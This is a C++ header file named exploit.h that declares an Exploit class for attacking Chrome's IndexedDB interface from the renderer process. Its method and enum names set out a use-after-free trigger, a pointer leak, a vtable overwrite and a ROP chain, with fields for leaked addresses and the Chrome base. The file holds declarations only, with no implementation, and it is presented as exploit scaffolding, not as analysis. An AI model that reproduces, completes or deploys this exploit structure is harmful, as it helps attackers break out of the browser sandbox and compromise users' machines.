exploit.h

#ifndef CONTENT_EXPLOIT_H_
#define CONTENT_EXPLOIT_H_

#include "third_party/blink/renderer/modules/indexeddb/web_idb_factory_impl.h"
#include "third_party/blink/renderer/modules/indexeddb/web_idb_database_impl.h"

extern "C" void exploit(std::string);

class Exploit {
public:
  Exploit();
  ~Exploit();
  void Start();
  void RendererHook(std::string);
  void OpenDatabase(int version,
                    blink::mojom::blink::IDBTransactionAssociatedPtr *,
                    int transaction);
  void DatabaseIsClean();
  void CallbackUpgradeNeeded(
      blink::mojom::blink::IDBDatabaseAssociatedPtrInfo db_info);
  void OpenNewDatabases();
  void
  CallbackSuccess(blink::mojom::blink::IDBDatabaseAssociatedPtrInfo db_info);
  void SetReuseDb(blink::mojom::blink::IDBDatabaseAssociatedPtrInfo db_info);
  void SetVTableDb(blink::mojom::blink::IDBDatabaseAssociatedPtrInfo db_info);

  void UseAfter();
  void TriggerBug();
  void LeakData();
  void LeakBeforeStep2();
  void Step2();
  void CleanupDb();
  void SaveDb(blink::mojom::blink::IDBDatabaseAssociatedPtrInfo db_info);

  void Rop();
  void SetRopDb(blink::mojom::blink::IDBDatabaseAssociatedPtrInfo db_info);
  void ExecRop();

  void leaked_ptr(unsigned long long p) { leaked_ptr_ = p; }
  void vtable_ptr(unsigned long long p) { vtable_ptr_ = p; }
  void slack_ptr(unsigned long long p) { slack_ptr_ = p; }

private:
  enum Cmd {
    CMD_SET_ROP_START,
    CMD_SET_OFFSET_VTABLE,
    CMD_WRITE8,
    CMD_WRITE8_CHROME_BASE_PLUS_VALUE,
    CMD_WRITE8_SLACK_BASE_PLUS_VALUE,
    CMD_WRITE8_SLACK_BASE_ALIGNED,
    CMD_START,
    INVALID,
  };

  enum Step {
    NOT_STARTED,
    CREATING_DB,
    COMMITING_DB,
    OPEN_DBS,
    ABORT_TRANSACTIONS,
    USE_AFTER_FREE
  };
  Step step_;
  bool failed_;

  blink::mojom::blink::IDBFactoryPtr idb_factory_;
  blink::mojom::blink::IDBTransactionAssociatedPtr create_db_req_;

  blink::mojom::blink::IDBDatabaseAssociatedPtr freedb_;
  blink::mojom::blink::IDBDatabaseAssociatedPtr reusedb_;
  blink::mojom::blink::IDBTransactionAssociatedPtr reusedb_req_;
  blink::mojom::blink::IDBDatabaseAssociatedPtr vtabledb_;
  blink::mojom::blink::IDBTransactionAssociatedPtr vtabledb_req_;
  blink::mojom::blink::IDBDatabaseAssociatedPtr ropdb_;
  blink::mojom::blink::IDBTransactionAssociatedPtr ropdb_req_;
  WTF::String db_name_;
  WTF::String db_reuse_name_;
  WTF::String db_vtable_name_;
  WTF::String db_rop_name_;
  unsigned long long offset_vtable_;
  unsigned long long rop_start_addr_;
  unsigned long long leaked_ptr_;
  unsigned long long vtable_ptr_;
  unsigned long long slack_ptr_;
  unsigned long long chrome_base_;
  std::vector<blink::mojom::blink::IDBDatabaseAssociatedPtr> dbs_saved_;
  std::vector<std::vector<uint64_t>> renderer_ops_;
};

#endif